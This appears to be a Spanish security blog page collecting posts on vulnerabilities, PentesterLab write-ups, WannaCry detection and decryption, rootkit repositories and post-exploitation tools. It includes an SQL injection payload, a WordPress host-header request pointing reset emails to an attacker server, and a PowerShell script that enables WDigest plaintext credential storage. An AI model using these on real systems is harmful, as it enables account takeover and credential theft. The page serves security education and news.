En crudo y sin censura RAW SOCKETS I (en C)

Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya sólo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo últimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentaré mostrar para qué podemos utilizar la programación de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema fácil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos mínimos de redes, un poquito de C, así como disponer de una máquina linux, puesto que este tostón está orientado a sistemas Linux o Unix, como ya es común en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es más, os animo a ello.

También quiero dejar claro que que vamos a abordar el tema desde un punto de vista práctico sin entrar mucho en detalles técnicos, si no podría ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburriría, así que lo veremos de soslayo.

Ejecución remota de comandos mediante ¡subtítulos maliciosos!

Los investigadores de Check Point han revelado un nuevo vector de ataque que amenaza a millones de usuarios que utilizan reproductores de medios tan populares como VLC, Kodi (XBMC), Popcorn Time y Stremio. Se trata de archivos de subtítulos maliciosos para películas y series que pueden permitir a un atacante tomar el control completo de cualquier dispositivo que lo cargue en las plataformas vulnerables.

"La cadena de suministro de subtítulos es compleja, con más de 25 formatos de subtítulos diferentes, todos con características y capacidades únicas. Este ecosistema fragmentado, junto con una seguridad limitada, significa que hay múltiples vulnerabilidades que podrían ser explotadas, convirtiéndolo en un objetivo muy atractivo para los atacantes ", dijo Omri Herscovici, líder del equipo de investigación de la vulnerabilidad de Check Point.

Demo

El siguiente video es una prueba de concepto cómo se llevan a cabo este tipo de ataques:

Los subtítulos para películas o programas de TV son creados por una amplia gama de autores y subidos a repositorios online compartidos, como OpenSubtitles.org, donde están indexados y clasificados. Los investigadores también demostraron que manipulando el algoritmo de clasificación de los repositorios, los subtítulos maliciosos pueden ser descargados automáticamente por el reproductor de medios, lo que permite a un hacker tomar el control completo de toda la cadena de suministro de subtítulos sin la interacción del usuario.

¿Cuántos usuarios se ven afectados?

VLC tiene más de 170 millones de descargas de su última versión, lanzada el 5 de junio de 2016. Kodi (XBMC) ha alcanzado más de 10 millones de usuarios únicos por día, y casi 40 millones de usuarios únicos por mes. No existen estimaciones actuales para el uso de Popcorn Time, pero se estima que son decenas de millones.

Check Point tiene razones para creer que existen vulnerabilidades similares en otros reproductores multimedia de streaming.

¿Cuales son los productos vulnerables confirmados hasta ahora?

Esta es una lista de los programas junto a las versiones vulnerables. Si dispones de una en tu ordenador u otros dispositivos, lo mejor es que la desinstales o actualices:
  •     PopcornTime – https://ci.popcorntime.sh/job/Popcorn-Time-Desktop/249
  •     Kodi – https://github.com/xbmc/xbmc/pull/12024)
  •     VLC – http://get.videolan.org/vlc/2.2.5.1/win32/vlc-2.2.5.1-win32.exe
  •     Stremio https://megahexandword.com/rnw_H8hGnAaWDkyg
¿Y las vulnerabilidades?

Los desarrolladores de VLC fueron contactados en abril y clasificaron las vulnerabilidades en cuatro. Cada una de ellas (CVE-2017-8310, CVE-2017-8311, CVE-2017-8312 y CVE-2017-8313) ya ha sido parcheadas. Se trata de desbordamiento de pila que permite ejecución remota de comandos y todavía no se han publicado los exploits correspondientes.

¿Qué puedes hacer?

Desde que se revelaron las vulnerabilidades, las cuatro compañías han solucionado los problemas reportados. Stremio y VLC también han lanzado nuevas versiones de software que incorporan esta corrección.

Fuentes:

- Hacked in Translation – from Subtitles to Complete Takeover
- Hackers can use subtitles to take over millions of devices running VLC, Kodi, Popcorn Time and Stremio
- Hackers pueden usar subtítulos en Kodi y VLC para obtener acceso a tu PC y smartphone
- ¡Cuidado! Esconden virus en los subtítulos para Kodi, VLC o Popcorn Time
- Este virus toma el control de tu PC con subtítulos en VLC y Kodi
- Malicious Subtitles Allow Hackers to Commandeer Devices Running Streaming Software
- Subtitle Hack Leaves 200 Million Vulnerable to Remote Code Execution
- Be careful! They can hack you through subtitles while you are watching movies

[Pentesterlab write-up] Web For Pentester II - Authentication

Hoy continuamos con los ejercicios de autenticación del laboratorio de Pentesterlab 'Web for pentester II'.

Recordar que, en el contexto de una aplicación web, la autenticación es el proceso por el que se verifica la identidad de un usuario, normalmente mediante una contraseña. Una vez validado, el servidor debe manejar la sesión del usuario para poder seguir interactuando con él. Las sesiones deben ser mantenidas con un identificador único y no predecible.

Las vulnerabilidades relacionadas con la autenticación y la gestión de sesiones son críticas porque permiten a un atacante suplantar la identidad de un usuario y, por lo tanto, tener sus privilegios de acceso.

Veamos algunos de los fallos más típicos y cómo explotarlos.


Ejercicio 1:

Las contraseñas predecibles son probablemente la forma más fácil y común de evadir autenticaciones. Para empezar basta con probar la misma contraseña que el nombre de usuario (admin) y estaremos dentro:


SERVIDOR
require 'sinatra/base'


class AuthenticationExample1 < PBase
  
  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  
  CREDS =  "admin:admin"
  
  def self.path
    "/authentication/example1/"
  end
  helpers do
    def protected!
      unless authorized?
        response['WWW-Authenticate'] = %(Basic realm="Username is admin, now you need to guess the password")
        throw(:halt, [401, "Not authorized\n"])
      end
    end

    def authorized?
      @auth ||=  Rack::Auth::Basic::Request.new(request.env)
      return false unless @auth.provided? && @auth.basic? && @auth.credentials
      return CREDS ==  @auth.credentials.join(":")
    end
  end
  get '/' do
    protected!
    erb :index
  end
end

Ejercicio 2:

En este ejercicio el problema es que se utiliza una comparación de strings “non-time-constant”, esto significa que la página web analizará la cadena introducida carácter por carácter hasta que encuentre un error, ya que el programador no se molestó en incluir algún tipo de código para aleatorizar o estandarizar el tiempo que tarda la página en analizar los datos.

#Wanakiwi, una herramienta capaz de descifrar los archivos cifrados por WannaCry (Windows XP a 7 no reiniciados)

¡Atención, si has sido infectado por WannaCry NO REINICIES la máquina! El famoso autor de Mimikatz, Benjamin Delpy‏ aka @gentilkiwi, ha publicado la herramienta Wanakiwi que es capaz de descifrar los archivos sin pagar el chantaje...

Hay un fallo en la cripto-API de Windows por el que si se obtienen de la memoria los números primos usados para calcular la clave privada esta puede volver a calcularse. Por eso es tan importante no apagar el equipo infectado, para no perder los datos de la memoria.

En principio el fallo parecía que estaba sólo en Windows XP, pero al parecer afecta a Windows 7 también:

"Después de realizar pruebas adicionales con Benjamin, nos dimos cuenta de que el leak de los números primos en el Crypt API de Microsoft todavía estaba presente en Windows 7. \o/"

Esto significa por lo tanto que la herramienta funcionará desde XP a 7, incluyendo Windows 2003 (x86 confirmado), Vista y 2008 y 2008 R2. Lamentablemente en las últimas versiones los números primos son borrados correctamente (CryptReleaseContext).

Anteriormente se publicó otra herramienta similar, Wannakey, pero requería una aplicación distinta para transformar esos bits en la clave secreta necesaria para descifrar los archivos. Wanakiwi parece más efectiva y ha sido validada por la Europol. Así que si no has reiniciado el equipo (o la memoria no ha sido sobrescrita) y no tienes la última versión de Windows todavía tienes una esperanza:

- Descarga wanakiwi aquí.
- Ejecuta wanakiwi.exe y automáticamente buscará el archivo 00000000.pky. Opcionalmente puedes indicar el PID (Process ID). Si no se indica, por defecto automáticamente buscará en wnry.exe o wcry.exe.
- Cruza los dedos y suerte!

Demo:

Fuente: WannaCry — Decrypting files with WanaKiwi + Demos
Github: https://github.com/gentilkiwi/wanakiwi/releases

Recopilatorio de rootkits

Dentro de la "gran familia" del malware, sin duda un rootkit es una de las piezas más poderosas y peligrosas debido a su propia naturaleza, pues oculta la presencia de (normalmente) malware en el sistema.

Un rootkit reside en el sistema operativo y esconde su presencia interceptando y modificando las funciones del API de nivel bajo, es decir, corrompe los programas y funciones capaces de detectarlo.

Adicionalmente también puede ocultar ciertos procesos, directorios, archivos y claves de registro y muchos rootkits instalan sus propios drivers y servicios también “invisibles” al sistema.

La eliminación del rootkit puede ser complicada o prácticamente imposible, especialmente en los casos en los que el rootkit reside en el kernel del sistema operativo siendo a veces la reinstalación la única opción.

Peligroso, ¿verdad? Pues gracias al enigmático d30sa1 y su repositorio de github tenemos un interesante recopilatorio de rookits para poder cacharrear:

https://github.com/mempodippy/vlany
http://www.ussrback.com/UNIX/penetration/rootkits/
https://github.com/Alifcccccc/Windows-Rootkits
https://packetstormsecurity.com/files/125240/Azazel-Userland-Rootkit.html
https://github.com/islamTaha12/Python-Rootkit
https://github.com/Eterna1/puszek-rootkit
https://github.com/juxing/AdoreForAndroid
https://github.com/HackerFantastic/Public/tree/master/rootkits
https://github.com/m0nad/Diamorphine
https://github.com/maK-/maK_it-Linux-Rootkit
https://github.com/RagingGrim/Rootkit/tree/master/Rootkit
https://github.com/NexusBots/Umbreon-Rootkit
https://github.com/josephjkong/designing-bsd-rootkits
https://github.com/citypw/suterusu/
https://citypw.blogspot.gr/2014/08/an-awesome-linux-kernel-rootkit-suterusu.html
https://github.com/Cr4sh/WindowsRegistryRootkit
https://packetstormsecurity.com/files/139665/Vlany-Linux-LD_PRELOAD-Rootkit.html

Cómo detectar máquinas vulnerables a #WannaCry (nmap nse script MS17-010)

Después del torbellino mediático de los últimos días, mucha gente que no trabaja en informática o no tiene demasiada idea pregunta: "pisha, y cómo hago para saber si puedo pillar el ramonware ransomware ese" y normalmente la respuesta rápida es "actualiza Windows inmediatamente, si es que todavía no lo has hecho". La razón es obvia, el vector de red que utiliza el ransomware WannaCry es la explotación de la vulnerabilidad en SMB (boletín MS17-010) corregida el 14 de marzo, al igual que hace el famoso ETERNALBLUE liberado por ShadowBrokers.

También podríamos detener la propagación del malware deshabilitando SMBv1 o encomendándonos a San Custodio y que se haya activado un "kill switch" que reconozca la variante que nos estaba acechando pero... ¿para qué arriesgarnos?... actualiza, actualiza, ACTUALIZA!

Ahora bien, si estas en una red y no eres responsable directo de actualizar los equipos M$ de la LAN, quizás te hayan pedido o te resulte interesante }:-) saber cuáles son las máquinas que tienen el puerto 445/TCP accesible y son vulnerables. Para ello podríamos usar el escáner de Metasploit (auxiliary/scanner/smb/smb_ms17_010), aunque resulta algo más lento que el script de nmap que vamos a utilizar en principio, que es el que el pasado domingo publicó el mexicano Paulino Calderon (responsable del chapter @OWASP_riviera).

Lo que hace el script es conectarse a $IPC, ejecutar una transacción sobre FID 0 y comprobar si es devuelto el error “STATUS_INSUFF_SERVER_RESOURCES” para determinar si ha sido parcheado o no contra CVE2017-010.

https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse

Simplemente tenemos que descargar el script nse en el directorio correspondiente, por defecto:

# Linux – /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX – /opt/local/share/nmap/scripts/
# Windows – c:\Program Files\Nmap\Scripts

Y ejecutar:
nmap -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse X.X.X.X/X

Ejemplo NO VULNERABLE:
nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.22

Starting Nmap 7.12 ( https://nmap.org ) at 2017-05-16 1:56 CEST
Nmap scan report for 192.168.1.66
Host is up (0.00049s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 50:7B:9D:D5:05:CA (Lcfc(hefei) Electronics Technology)

Host script results:
|_smb-vuln-ms17-010: Could not connect to 'IPC$'

Ejemplo VULNERABLE:
# nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.23

Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-16 2:02 EDT
Nmap scan report for 192.168.1.23
Host is up (0.00069s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|       
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

[Pentesterlab write-up] Web For Pentester II - SQLi

No creáis que ceso en mi empeño de seguir haciendo labs, concretamente de Pentesterlab he hecho ya casi todos (los gratuitos), sólo que no quiero inundar el blog con mil y un solucionarios. Es más, os animo a hacerlos vosotros mismos y practicar, pero sobretodo a disfrutar el camino como meta.

No obstante, si que iré publicando algunos de los que más interesantes me parezcan. En este caso Web for Pentester II, al igual que la primera serie que vimos, más que un laboratorio es una serie de ejercicios para aprender a explotar las vulnerabilidades web más comunes, así que creo que es bastante interesante porque resulta tremendamente didáctico. También contribuiremos a ello añadiendo a cada ejemplo el código del lado del servidor, lo cual "clarea la caja" pero ayuda a adquirir un mayor nivel de compresión.

Además en esta ocasión dejamos un lado PHP para trabajar con Ruby así que ¡manos a la obra!


Ejercicio 1:

El primer ejemplo es el más sencillo y tendremos que evadir la autenticación sin pasar ningún usuario o contraseña. Si inyectamos una comilla simple en seguida obtendremos el mensaje de error de la base de datos:


Con el mensaje de error ya tendremos la consulta, como podremos comprobar en el código del lado del servidor:

SERVIDOR:
...
 get '/' do
    res = [] 
    if params['username'] && params['password']
      begin 
        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"
        ActiveRecord::Base.establish_connection self.class.db
        res = ActiveRecord::Base.connection.execute(sql).to_a 
      rescue Exception => e
        @message = e.to_s 
      end
    end
    if res.size > 0 
      erb :index
    else
      erb :login
    end
  end
  ...

Por lo tanto, obtener el payload es 'SELECT * FROM users WHERE username='' or 1=1#  es bastante trivial (tenemos que setear que siempre sea true).

PAYLOAD:
' or 1=1#

¿Cuál ha sido la vulnerabilidad que ha explotado el ransomware que ha puesto en jaque a Telefónica y a otras grandes compañías?

Bueno, ya sabéis que ahora está en primera plana la infección por ransomware en Telefónica y en otras grandes empresas, incluso fuera de España, que ha hecho que todos los medios se agiten, ya que han surgido numerosos mensajes en las redes sociales con imágenes del ransom y correos de distintos departamentos rogando a los usuarios que apaguen inmediatamente sus equipos (incluso audios). Nosotros no vamos a entrar en qué compañías se han visto afectadas y cuáles no, pero si nos parece tremendamente curioso saber cuál ha sido la vulnerabilidad que ha explotado el ransomware y ha hecho que haya puesto a tantas empresas en jaque en un periodo tan corto de tiempo.

Lamentablemente o afortunadamente, no he tenido ningún caso todavía que haya podido analizar directamente, por lo que me sustento en suposiciones basadas en lo que he leído en las redes y lo que me han contado varios compañeros y colegas, y casi todas apuntaban a un RCE en MsMpEng, el conocido "crazy bad".

MsMpEng es el servicio de Protección contra Malware que está habilitado por defecto en Windows 8, 8.1, 10, Windows Server 2012 y posteriores. Además, Microsoft Security Essentials, System Center Endpoint Protection y otros productos de seguridad de Microsoft comparten el mismo core. MsMpEng se ejecuta como NT AUTHORITY\SYSTEM sin sandboxing y es accesible remotamente sin autenticación a través de varios servicios de Windows, incluidos Exchange, IIS, etc.

Scanless: herramienta para escanear desde múltiples Port checkers online

En la fase de reconocimiento de un pentest es muy común que, cuando estás escaneando con nmap una IP o un rango de IPs, el firewall/IPS de turno te bloquee tu IP y el puerto se muestre cerrado o filtrado, pudiendo dar lugar a un falso negativo, es decir, a la no detección de un servicio que realmente si está abierto de cara a Internet.
Incluso pudiera darse el caso que estás auditando un servicio web y un WAF detecta un payload o comportamiento que hace que igualmente se restrinja el acceso desde tu IP de atacante.

Existen numerosos sitios que te permiten hacer de forma online un escaneo remoto de los puertos más comunes. De esta manera podemos comprobar rápidamente si realmente nos han banneado la IP o el servicio se ha caído, sin necesidad de cambiar de peer VPN y haciéndolo de forma totalmente anónima.

Al hilo de esto hoy veía una utilidad que permite utilizar hasta siete "port checkers" online desde la línea de comandos, de una manera sencilla y cómoda, ahorrándote tener que abrir el navegador y facilitando el scripting y la automatización...

Se trata de Scanless de Austin Jackson aka Vesche, una herramienta escrita (cómo no) en Python que debe formar parte del arsenal básico de cualquier Red Team (apuntad desarrolladores de Kali).

Para bajarse el repositorio simplemente:

# git clone https://github.com/vesche/scanless.git

Necesitarás las librerías requests y bs4.

# python scanless.py 
usage: scanless.py [-h] [-t TARGET] [-s SCANNER] [-l] [-a]

scanless, public port scan scrapper

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        ip or domain to scan
  -s SCANNER, --scanner SCANNER
                        scanner to use (default: yougetsignal)
  -l, --list            list scanners
  -a, --all             use all the scanners

Charla sobre hacking práctico usando THW Labs

Esta tarde a las 19:00 horas (GMT+1) tendremos en nuestro canal de Youtube a Daniel Echeverri aka @adastra, que impartirá de forma totalmente gratuita, online y en directo una charla enfocada completamente a la parte práctica de un proceso de pentesting típico utilizando como ejemplo algunos de los sistemas que se encuentran disponibles en el laboratorio de THW Labs.

El objetivo de la charla consiste en explicar qué técnicas suele emplear un atacante para detectar y explotar vulnerabilidades en servicios que responden a peticiones de clientes remotos y posteriormente, una vez conseguido el acceso al sistema vulnerable, las técnicas utilizadas para elevar privilegios, extraer información sensible y lanzar ataques contra segmentos de red internos que no se encuentran disponibles directamente de cara al atacante, pero sí que lo estarian de cara al sistema comprometido, como por ejemplo redes LAN o privadas. En dicho caso, se explica cómo el atacante utilizando el sistema comprometido como pivote, extiende su actividades a otros sistemas a los que no tiene acceso directo.

Podréis seguir la charla en streaming a través del siguiente enlace e incluso formular cualquier pregunta o comentario mediante el chat de Youtube. Posteriormente el vídeo será colgado en el canal para los que no hayan tenido la oportunidad de verlo en directo. ¡Espero que lo disfrutéis!

Phishing for dummies

"Phishing o suplantación de identidad es un término que denomina un modelo de abuso informático y que se comete mediante el uso de un tipo de ingeniería social, caracterizado por intentar adquirir información confidencial de forma fraudulenta (como puede ser una contraseña, información detallada sobre tarjetas de crédito u otra información bancaria). El cibercriminal, conocido como phisher, se hace pasar por una persona o empresa de confianza en una aparente comunicación oficial electrónica, por lo común un correo electrónico, o algún sistema de mensajería instantánea o incluso utilizando también llamadas telefónicas."

Esta técnica es tan antigua como la propia inet, que digo!!! es muchísimo más vieja, y tan efectiva como antigua. Su efectividad radica en su simpleza, y su  simpleza en el descuido del usuario final...

¿Hace falta tener conocimientos para ser Phisher?....NO o no demasiado para comenzar tus andaduras en el cibercrimen, más bien es un alarde de picardía e ingenio...y podéis creer que más de un aguerrido informático ha sido pescado mediante esta técnica.

En este post vamos a ver en la práctica tres simples ejemplos de cómo suplantar identidades casi sin conocimientos, para conseguir información sensible que, aunque muy conocidas, siguen peligrosamente vigentes a día de hoy.

Suplantando una identidad de correo

Quizás de las tres de las que vamos a ver sea la técnica mas antigua y, el que más y el que menos lo ha hecho alguna vez. Se buscaba una máquina sensible a esta técnica, normalmente un servidor de correo al que nos conectábamos por su puerto 25/SMTP y mediante telnet fakeabamos una identidad de uno de las cuentas.

Se supone que hoy por hoy no hay máquinas desde a las cuales nos podamos conectar por SMTP y enviar un mail falso...O_o..... las hay.

Mod de Empire con nuevos módulos

Seguro que ya conocéis Empire, un agente de post-explotación escrito en PowerShell y Python con una arquitectura muy flexible que trae varios módulos que van desde keyloggers hasta Mimikatz. Puede ejecutarse incluso sin powershell.exe y es capaz de cifrar sus comunicaciones y evadir NIDS, todo ello con un framework bastante fácil de usar.

Luis Vacas (aka Cybervaca) lleva tiempo trabajando en un mod de Empire para Hackplayers al que ha añadido nuevos e interesantes módulos:
  • BypassUAC-HackPlayers-eventvwr.ps1   (BypassUAC using eventvwr working in Windows 7/8/10)
  • Invoke-Mimikittenz  (Using Windows function ReadProcessMemory() in order to extract plain-text passwords)
  • Invoke-Mimigatoz   (Variant of Mimikatz)
  • Keylogger_selective   (Executes a keylogger selectively)
  • PsBoTelegram   (Backdoor controlled from telegram)
  • Execute-Url-Script   (Run scripts from a file in a url)
  • Sherlock   (Find privilege escalation vulnerabilities)
  • MS16-135   (Exploit privilege escalation MS16-135 x64 by b33f FuzzySecurity)
  • Invoke-HostRecon   (Situational Awareness)
  • Binder-4System   (Get System from service process)
  • Invoke-Phant0m   (Stops threads from the svhost process to prevent it from logging events without stopping the service.)
  • Set-WindowsDefender   (We can disabled and enabled Windows Defender silently)
Además ha preparado un vídeo tutorial introductorio en el que muestra como instalar el mod desde el repositorio y utilizar alguno de sus módulos, para que veáis lo fácil y a la vez potente que resulta utilizarlos. ¡No os lo perdáis!:

Nota: cortesía de Luis, os paso el script para añadir el regkey que hay que crear para que funcione mimikitenz en Windows 10
param(
[string]$Activar="si"

)

$ErrorActionPreference = "SilentlyContinue"
if ($Activar -like "si" -or $args -like "Si") {$Activar="Si"} else {$Activar="No"} 

######################################################################################################################

$ruta_key = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
$key = "UseLogonCredential"
$check_exist_key = Test-Path $ruta_key
if ($check_exist_key -eq $null) {$check_exist_key = "False"}
$check_valor_key = Get-ItemProperty $ruta_key | Select-Object $key ; $check_valor_key = $check_valor_key.UseLogonCredential

######################################################################################################################


if ($Activar -eq "Si") { New-ItemProperty -Path $ruta_key -Name $key -Value "1" -PropertyType DWORD -Force| Out-Null; Write-Host "nnAñadida clave de registro, es necesario reiniciar." } 
if ($Activar -eq "No") {Remove-ItemProperty $ruta_key -Name $key  -Force | Out-Null ; "nnEliminada clave de registro, es necesario reiniciar."}

Proyecto GitHub: https://github.com/Hackplayers/Empire-mod-Hackplayers

0-day en la función de reset de contraseñas de todas las versiones de Wordpress (CVE-2017-8295)

Recientemente, el 3 de mayo, se publicó una nueva vulnerabilidad (CVE-2017-8295) que afecta a todas las versiones de Wordpress, incluyendo la última versión 4.7.4, que puede permitir a un atacante resetear remotamente la contraseña y acceder con cualquier usuario.

La vulnerabilidad está en la página de solicitud de restablecimiento de contraseña, concretamente en la posibilidad de modificar el contenido de la variable SERVER_NAME en la función wp-includes/pluggable.php:
if ( !isset( $from_email ) ) {

        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }

        $from_email = 'wordpress@' . $sitename;
}
Wordpress utiliza la variable SERVER_NAME para formar la cabecera From/Return-Path del correo.  El problema es que la mayoría de los servidores web, como Apache, por defecto setean SERVER_NAME con el hostname provisto por el cliente (dentro de la cabecera HTTP_HOST):

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname

Como SERVER_NAME puede ser modificado, se podrá cambiar el Host en la cabecera:
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&amp;redirect_to=&amp;wp-submit=Get+New+Password
y el resultado es que $from_email en Wordpress será:

wordpress@attackers-mxserver.com

De esta manera, se generará un correo saliente con esa dirección en From/Return-Path:
------[ ejemplo de correo generado ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.
To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------

Si se intercepta este correo y/o se repele en destino para que sea enviado de vuelta a la dirección de correo maliciosa, se podrá obtener el enlace de reset y actuar en consecuencia.

El autor contempla tres escenarios:

- Si el atacante conoce previamente el buzón del usuario administrador, la dirección del buzón puede ser atacada por medio de DoS lo que hace que el correo de restablecimiento de contraseña sea rechazado o imposible de entregar. En este momento, el correo se enviará a la dirección construida por el atacante.

- La característica "autoresponder" de algunos buzones devolverá el contenido del mensaje como un archivo adjunto al remitente.

- Enviado repetidos mensajes para restablecer la contraseña al buzón de destino, forzando al usuario a responder a uno, cuando el contenido de la respuesta generalmente se refiere al cuerpo del mensaje anterior.

En definitiva, si se conoce el administrador o la dirección de correo electrónico de cualquier usuario de destino, se puede obtener el enlace de restablecimiento de contraseña por estos u otros métodos y, por ende, restablecer la contraseña de la cuenta de cualquier usuario.

De momento no hay una solución oficial, pero para paliar el problema se recomienda forzar un nombre estático para UseCanonicalName.

Referencia
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

Ultrasonidos para rastrear smartphones (u otra capa más contra la -extinta- privacidad)

La semana pasada en el IEEE European Symposium sobre seguridad y privacidad, varios investigadores presentaron un paper con un estudio sobre la amenaza que suponía el uso de ultrasonidos como canal encubierto para el seguimiento de los usuarios de smartphones. Incluso descubrieron hasta 234 aplicaciones de Android que piden permiso para acceder al micrófono del smartphone para incorporar un tipo particular de ultrasonido para rastrear a los consumidores.

Los investigadores encontraron que 4 de las 35 tiendas que visitaron en Alemania tienen balizas ultrasónicas instaladas en la entrada. De esta manera, cualquier teléfono podría tener alguna o algunas aplicaciones que están escuchando continuamente por ultrasonidos de alta frecuencia inaudibles y, al pasar o aproximarte a uno de estos emisores o balizas, un tercero podría saber a dónde vas, lo que te gusta y no te gusta - todo sin tu conocimiento. De hecho, el seguimiento por ultrasonidos es una nueva tecnología que algunos vendedores y compañías publicitarias YA utilizan para rastrear a los usuarios en varios dispositivos y tener acceso todavía a más información para orientar y dirigir mejor sus anuncios.


SilverPush, Lisnr y Shopkick son tres SDKs que usan esas balizas de ultrasonidos para enviar mensajes al dispositivo móvil. Mientras que SilverPush permite a los desarrolladores realizar un seguimiento de usuarios en varios dispositivos, Lisnr y Shopkick realizan el seguimiento de ubicaciones. Los investigadores analizaron millones de aplicaciones de Android y descubrieron que sólo unas pocas estaban usando los SDK de Shopkick y Lisnr, pero que había muchas más que estaban usando el SDK de SilverPush.

Aunque las tecnologías de rastreo de usuarios entre dispositivos se están utilizando actualmente con fines legítimos, ya ha planteado algunas preocupaciones serias sobre la privacidad. Dado que una aplicación no requiere datos móviles ni conexión Wi-Fi, sino sólo acceso de micrófono para escuchar balizas, el seguimiento funciona incluso cuando se ha desconectado el teléfono de Internet.
No olvidemos que un equipo de investigadores ya demostró el año pasado que los sonidos ultrasónicos emitidos por los anuncios en una página web accedida a través de Tor pueden utilizarse para desanonimizar a los usuarios de Tor haciendo que los teléfonos u ordenadores cercanos envíen a los anunciantes información de identificación, como la ubicación y la propiedad intelectual.

En 2014, las revelaciones de Snowden demostraron que las agencias de espionaje estaban rastreando los movimientos de los viajeros extranjeros a través de la ciudad capturando la dirección MAC del dispositivo en el aeropuerto y luego comparándola con los datos recopilados por los hotspots WiFi instalados en varios cafés y tiendas minoristas. De manera similar, cualquier agencia de inteligencia podría usar esta tecnología ultrasónica de seguimiento de dispositivos para rastrear sus movimientos en todo el país. secretum exstinctus.

¿Cómo puedes protegerte?

Puesto que no se puede evitar que los beacons de ultrasonido emitan frecuencias a su alrededor, la mejor manera de reducir la posibilidad de que tu smartphone escuche balizas y suministre datos a terceros es simplemente restringir los permisos innecesarios que se hayan concedido a las aplicaciones instaladas en el dispositivo.

En otras palabras, utilizar el sentido común.

Fuente: http://thehackernews.com/2017/05/ultrasonic-tracking-signals-apps.html

Katz.js, un Mimikatz indetectable en Javascript con versión Rubber Ducky

Muchos de nosotros al movernos por Windows y usar herramientas para pentesting o para realizar ataques de cualquier tipo tenemos que desactivar el antivirus para que no se nos borren las que tenemos instaladas o tenemos que crear excepciones para que no sean detectadas, esto es debido a que muchos AV las detectan como una "HackTool" o incluso como un troyano.

Con DotNet2JScript se acabarán en su mayoría estos problemas dado que esta herramienta nos permitirá convertir una aplicación .NET v2 y algunas clases a JavaScript, en un formato que actualmente es totalmente indetectable por los antivirus.

Simplemente funciona implementando una clase que haga lo que quiera en "public". Como por ejemplo:

public class TestClass
{
    public TestClass()
    {
        /* Start notepad */
        Process.Start("notepad.exe");
    }
}
 
Debemos asegurarnos que es en "public". También tenemos la posibilidad de añadir el atributo "ComVisible(true)" por si queremos interactuar con el script posteriormente. Como por ejemplo:

[ComVisible(true)]
public class TestClass
{
    public void DoSomething(string arg) { }
}
 
Vamos a probar este último con el ejemplo que nos deja el creador en el repositorio de Github. Para ello deberemos compilar el programa que se encargará de generar el Javascript que nos interesa, esto es muy sencillo, simplemente deberemos descargar el repositorio y abrir el proyecto "DotNetToJScript.sln" con Microsoft Visual Studio, posteriormente en una pestaña de arriba clickeamos en compilar y luego en compilar solución, después encontraremos nuestro programa en la ruta \...\DotNetToJScript-master\DotNetToJScript-master\DotNetToJScript\bin\Debug\DonNetToJScript.exe.

Todo lo que deberías saber sobre contraseñas

Hola muy buenas a todos los amantes de la seguridad informática. En esta ocasión voy a hablar de uno de los motivos por el cual nos silban los oídos a todos los informáticos que intentamos proteger una empresa. Ese motivo no es otro que esas contraseñas imposibles de recordar que exigimos implantar.

¿Realmente una contraseña tiene que ser tan rebuscada?

 

Seguro que a muchos esta viñeta os ha recordado todas esas ocasiones en las que los requisitos de una contraseña nos han sacado de quicio y os habéis preguntado: ¿es realmente necesario que una contraseña sea tan rebuscada?

La respuesta es un rotundo si, ya continuación voy a intentar explicaros porque las contraseñas deben de ser tan rebuscadas.

[VulnHub write-up] billu: b0x

